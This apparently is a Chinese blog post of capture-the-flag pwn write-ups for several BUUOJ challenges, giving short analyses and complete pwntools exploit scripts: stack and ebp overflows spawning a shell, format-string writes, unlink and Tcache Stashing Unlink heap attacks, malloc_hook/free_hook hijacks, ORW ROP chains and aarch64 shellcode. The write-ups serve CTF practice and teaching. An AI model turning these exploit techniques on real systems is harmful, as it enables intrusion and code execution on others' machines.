.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)
可以对 mprotect 函数的三个参数进行控制
看完上面,那么我们就是要将 X3 赋予我们写入的 shellcode 的地址
x0 = 0x411068
x1 = 0x1000
x2 = 0x7
x3 = shellcode_addr
sp + 0x38 -> X24 -> X0 = 0x411068
sp + 0x30 -> X23 -> X1 = 0x1000
sp + 0x28 -> X22 -> X2 = 0x7
sp + 0x20 -> X21 -> X3 = shellcode_addr
sp + 0x18 -> X19 = 1
sp + 0x10 -> X19 = 0
sp + 8 -> X30 -> ret = 0x4008AC
sp
ret -> 0x4008CC
b'a' * 0x72
由于还要调用 mprotect 函数,所以我们先写入 mprotect@plt 再写入 shellcode
执行完后,这时候已经调用 mprotect@plt 完成了,接下来程序由于不进行跳转,会重新回到 0x4008cc 执行,接下来只要控制好 X30 为 shellcode_addr 就行了,即在上面的 payload 中添加 p64(0) + p64(shellcode_addr)
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'aarch64', log_level='debug')

#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
p = remote('node4.buuoj.cn', 27295)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

payload = p64(elf.plt['mprotect']) + asm(shellcraft.aarch64.sh())
p.sendlineafter(b'Name:', payload)

payload = b'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411068) + p64(7) + p64(0x1000) + p64(0x411070) + p64(0) + p64(0x411070)
p.sendline(payload)

p.interactive()

 pwnable_simple_login

挺有意思的一道题
0
input 最长只能是 0xc
auth 是进行加密后的对比,这里可以溢出 4 个字节,覆盖 ebp
0
如何是如果返回为真,再接着判断
0
 
由于可以覆盖 ebp ,并且我们知道输入的数据再 input -> 0x0811EB40 中,那么,如果我们这么构造 payload
payload = b'a'*4 + p32(0x08049284) + p32(0x0811EB40)
这样, leave 后,esp 就执行了我们的 system('/bin/sh') ,ret 后就能 get shell 了
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27295)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

payload = b'a'*4 + p32(0x08049284) + p32(0x0811EB40)
payload = base64.b64encode(payload)
p.recv()
p.sendline(payload)
p.interactive()

 hitcon_ctf_2019_one_punch

与红包题相比,同样是 libc_2.29 ,保护全开,并且也是 UAF 漏洞 + orw_rop,也需要通过 Tcache Stashing Unlink Attack 来满足后门的实现。
Tcache Stashing Unlink Attack 的攻击方法和红包题一样,主要是不像红包题不能够栈迁移。
这里是这么处理的,我们可以利用 tcache bin attack 修改 malloc_hook ,利用其执行 orw_rop
当执行到 rip = malloc_hook = 0x1 的时候,可以看到我们写入的 row_rop 距离 rsp 0x48 ,所以当我们把 malloc_hook 修改为 add rsp, 0x48 ; ret 的时候,就可以接着执行 orw_rop 了
但是这里不是很好调试,除非提前知道这种解法,不是如果 payload 不是 orw_rop 等可执行指令,而是其它数据的话,是无法调试到这里的
并且使用的 orw_rop 不同了,这里是用系统调用的方法
0
0
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25791)
elf = ELF('./pwn')
libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b': ', content)
def edit(index, content):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b': ', content)
def show(index):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', str(index))
def free(index):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'idx: ', str(index))
def backdoor(content):
p.sendlineafter(b'> ', b'50056')
p.sendline(content)

# leak libc_base heap_base
for i in range(7):
add(2, b'\x07'*0x400)
free(2)
add(0, b'a'*0x400)
add(1, p64(0xffff)*16)
free(0)

show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
show(2) 
p.recvuntil(b'hero name: ')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x16b0
print(' heap_base -> ', hex(heap_base))

# Tcache Stashing Unlink Attack
add(0, b'a'*0x400)
for i in range(6):
add(0, b'a'*0xf0)
free(0)

add(0, b'a'*0x400)
add(1, b'a'*0x400)
free(0)
add(0, b'a'*0x300)
add(1, b'a'*0x300) # small bin1

add(2, b'a'*0x400)
add(1, b'a'*0x400)
free(2)
add(0, b'a'*0x300)
add(0, b'a'*0x300) # small bin2

add(0, b'/flag' + b'\x00'*0x100)
for i in range(2):
add(1, b'a'*0x217)
free(1)

payload = b'a'*0x300 + p64(0) + p64(0x101) + p64(heap_base + 0x2c70) + p64(heap_base + 0x1b)
edit(2, payload)
add(0, b'a'*0xf0)

# malloc_hook -> add_rsp_48h_ret
malloc_hook = libc_base + libc.sym['__malloc_hook']
add_rsp_48h_ret = libc_base + 0x8cfd6
edit(1, p64(malloc_hook))
backdoor(b'a')
#backdoor(p64(add_rsp_48h_ret))
backdoor(p64(add_rsp_48h_ret))

# orw_rop
rax = 0x47cf8 + libc_base
rdi = libc_base + 0x26542
rsi = libc_base + 0x26f9e
rdx = libc_base + 0x12bda6
leave = libc_base + 0x58373
syscall = 0x10D0B5 + libc_base
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

payload = p64(rax) + p64(2) + p64(rdi) + p64(heap_base + 0x3fd0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
payload += p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(heap_base + 0x670) + p64(rdx) + p64(0x50) + p64(syscall)
payload += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(heap_base + 0x670) + p64(rdx) + p64(0x50) + p64(syscall)

# get_flag
add(1, payload)
print(p.recv())

 wustctf2020_babyfm

0
fmt_attack
0
leak
0
get_flag
0
保护全开的格式化字符串,本来以为是利用 fmt_attack 得到程序基地址,然后利用 leak 泄露 secret ,再利用 get_flag 拿 flag
后来发现 leak 只泄露一个字节。。。
这里发现限制 fmt_attack 使用次数的参数也在栈上,把断点打到 *a1 = 1 和 pritnf(format) ,发现该参数的偏移是 7 ,并且在 printf 之前修改,相当于我们可以无限次使用 fmt_attack
这里重复利用 fmt_attack 修改 secret 为 b'\x00' * 0x40
都成了,动调也看到 printf 输出了 flag ,也有 exit(0) 但是程序运行没回显信息,因为有 close(1) 把标准输出给关闭了
那么接下来试试把返回地址修改到 colse(1) 后面的指令,来泄露 flag
可以了
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25607)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b *$rebase(0xF13)')

p.recv()
for i in range(3):
p.sendline(b'1')

# leak pro_base
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%17$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 0x102c
print(' pro_base -> ', hex(pro_base))

# leak ret
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%16$p')
p.recvuntil(b'0x')
ret = int(p.recv(12), 16) - 0x28
print(' ret -> ', hex(ret))

# ret -> get_flag
p.sendlineafter(b'>>', b'2')
get_flag = pro_base + 0xf56
payload = b'%' + str(get_flag & 0xffff).encode() + b'c%10$hn'
payload = payload.ljust(0x10, b'a') + p64(ret)
p.sendline(payload)
p.recvuntil(b'flag')
print(p.recv())

 [OGeek2019 Final]OVM

一道虚拟机逃逸题,有亿点点难
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27922)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

def send_code(opcode, dest, src1, src2):
    code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2
    print(hex(code))
    return str(code)
p.sendlineafter("PC: ", '0')
p.sendlineafter("SP: ", '1')
p.sendlineafter("CODE SIZE: ", "24")
p.recvuntil("CODE: ")

p.sendline(send_code(0x10, 0, 0, 26))
p.sendline(send_code(0x80, 1, 1, 0))
p.sendline(send_code(0x30, 2, 0, 1))
p.sendline(send_code(0x10, 0, 0, 25))
p.sendline(send_code(0x10, 1, 0, 0))
p.sendline(send_code(0x80, 1, 1, 0))
p.sendline(send_code(0x30, 3, 0, 1))


p.sendline(send_code(0x10, 4, 0, 0x10))
p.sendline(send_code(0x10, 5, 0, 8))
p.sendline(send_code(0xC0, 4, 4, 5))
p.sendline(send_code(0x10, 5, 0, 0xa))
p.sendline(send_code(0x10, 6, 0, 4))
p.sendline(send_code(0xC0, 5, 5, 6))
p.sendline(send_code(0x70, 4, 4, 5))
p.sendline(send_code(0x70, 2, 4, 2))


p.sendline(send_code(0x10, 4, 0, 8))
p.sendline(send_code(0x10, 5, 0, 0))
p.sendline(send_code(0x80, 5, 5, 4))
p.sendline(send_code(0x40, 2, 0, 5))
p.sendline(send_code(0x10, 4, 0, 7))
p.sendline(send_code(0x10, 5, 0, 0))
p.sendline(send_code(0x80, 5, 5, 4))
p.sendline(send_code(0x40, 3, 0, 5))
p.sendline(send_code(0xE0, 0, 0, 0))

p.recvuntil("R2: ")
low = int(p.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
p.recvuntil("R3: ")
high = int(p.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))
libc_base = free_hook_addr - libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

payload = b"/bin/sh\x00" + p64(sys_addr)
p.send(payload)

p. interactive()

 ciscn_2019_es_4

同一页有道一模一样的
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27397)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'4.show\n', '1')
p.sendlineafter(b'index:\n', str(index))
p.sendlineafter(b'size:\n', str(size))
p.sendafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'4.show\n', '2')
p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'4.show\n', '3')
p.sendlineafter(b'index:\n', str(index))
p.sendafter(b'content:\n', content)
def show(index):
p.sendlineafter(b'4.show\n', '4')
p.sendlineafter(b'index:\n', str(index))

# unlink
for i in range(1, 8):
add(i, 0xf8, b'a')

add(32, 0xf8, b'a')
add(8, 0xf8, b'a')
add(31, 0xf8, b'a')
add(9, 0xf8, b'/bin/sh\x00')
ptr = 0x6021E0
payload = p64(0) + p64(0xf1) + p64(ptr - 0x18) + p64(ptr - 0x10) + b'\x00'*0xd0 + p64(0xf0)
edit(32, payload)

for i in range(1, 8):
free(i)
free(8)

# leak libc_base
payload = p64(0)*2 + p64(elf.got['puts']) + p64(ptr - 0x8)
payload = payload.ljust(0xf0, b'\x00') + p32(1) + p32(3)
edit(32, payload)
show(31)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(32, p64(free_hook))
edit(31, p64(system))

# pwn
free(9)
p.interactive()

 RedPacket_SoEasyPwn

写得比较痛苦的一道题,只没开 canary ,而且是 libc-2.29
看 wp 是说防止我们利用 unsorted attack
这里用的是 Tcache Stashing Unlink Attack
四个功能都齐全,add 是用 calloc 申请堆块, free 存在 UAF 漏洞,并且 edit 只能用一次
0
并且这是一道 orw 题目,666 选项还存在着栈溢出
0
只能溢出 0x10 个字节,就是栈溢出了,构造 ROP 到堆块上,然后栈迁移到堆块上执行 orw_rop 泄露 flag
不过得先满足 *qword_4058 + 0x800 > 0x7f0000000000 ,这里本来可以利用 unsorted bin attack ,不过由于是 libc-.2.29 ,所以要用到其它方法,要用到 Tcache Stashing Unlink Attack
具体是利用 calloc 函数不从 tcache bin 申请的特性,来把堆块放入 small bin ,并且利用 UAF 修改 bk ,这样我们就能在 *qword_4058 + 0x800 写入 main_arena_xx 了,这样就能接着利用后门
首先是利用 UAF 泄露堆块地址和 libc_base
# leak libc_base
for i in range(8):
add(i, 4, b'a')
add(8, 1, b'a')
for i in range(8):
free(i)
show(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
show(1)
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270
print(' libc_base -> ', hex(libc_base))
print(' heap_addr -> ', hex(heap_addr))
这里值得注意的是,由于 small bin 的检测机制,所以要保证与 small bin 大小的 chunk 被放入六个,这样 small bin 只会检测 fd 而不会去检测 bk ,利用这个我们就可以在 *qword_4058 + 0x800 写入 main_arena_xx
在加上我们利用 calloc 不优先从 tcache bin 取 bin 的特性,可以把 unsorted bin 切割后剩下的堆块放入 small bin
# Tcache Stashing Unlink Attack
add(0, 4, b'a')
for i in range(6):
add(i, 2, b'a')
add(6, 1, b'a') 
for i in range(6):
free(i)

# first small bin
add(3, 3, b'a')
add(0, 4, b'chunk0')
add(1, 1, b'chunk1')
free(0)
add(2, 3, b'chunk2')
add(3, 3, b'chunk3')

# second small bin
add(4, 4, b'chunk4')
add(5, 4, b'chunk5')
free(4)
add(6, 3, b'chunk6')
add(7, 3, b'/flag\x00')

# start -> Tcache Stashing Unlink Attack
payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800)
edit(4, payload)
add(8, 2, b'a')
最后就是构造 orw_rop 了
exp
 
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29976)
elf = ELF('./pwn')
libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index, idx, content):
p.sendlineafter(b'Your input: ', b'1')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b': ', str(idx))
p.sendlineafter(b'content: ', content)
def free(index):
p.sendlineafter(b'Your input: ', b'2')
p.sendlineafter(b'idx: ', str(index))
def edit(index, content):
p.sendlineafter(b'Your input: ', b'3')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b'content: ', content)
def show(index):
p.sendlineafter(b'Your input: ', b'4')
p.sendlineafter(b'idx: ', str(index))

#gdb.attach(p, 'b *$rebase(0x144F)')

# leak libc_base
for i in range(8):
add(i, 4, b'a')
add(8, 1, b'a')
for i in range(8):
free(i)
show(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
show(1)
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270
print(' libc_base -> ', hex(libc_base))
print(' heap_addr -> ', hex(heap_addr))

# Tcache Stashing Unlink Attack
add(0, 4, b'a')
for i in range(6):
add(i, 2, b'a')
add(6, 1, b'a') 
for i in range(6):
free(i)

# first small bin
add(3, 3, b'a')
add(0, 4, b'chunk0')
add(1, 1, b'chunk1')
free(0)
add(2, 3, b'chunk2')
add(3, 3, b'chunk3')

# second small bin
add(4, 4, b'chunk4')
add(5, 4, b'chunk5')
free(4)
add(6, 3, b'chunk6')
add(7, 3, b'/flag\x00')

# start -> Tcache Stashing Unlink Attack
payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800)
edit(4, payload)
add(8, 2, b'a')

# orw_rop
rdi = libc_base + 0x26542
rsi = libc_base + 0x26f9e
rdx = libc_base + 0x12bda6
leave = libc_base + 0x58373
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

payload = p64(0)
payload += p64(rdi) + p64(heap_addr + 0x4ba0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(read)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(write)
add(9, 4, payload)

# stack_jump
p.sendlineafter(b'Your input: ', b'666')
payload = b'a'*0x80 + p64(heap_addr + 0x4eb0) + p64(leave)

p.sendlineafter(b'What do you want to say?', payload)
print(p.recv())
posted @ 2022-11-29 22:40  xshhc  阅读(467)  评论(0编辑  收藏  举报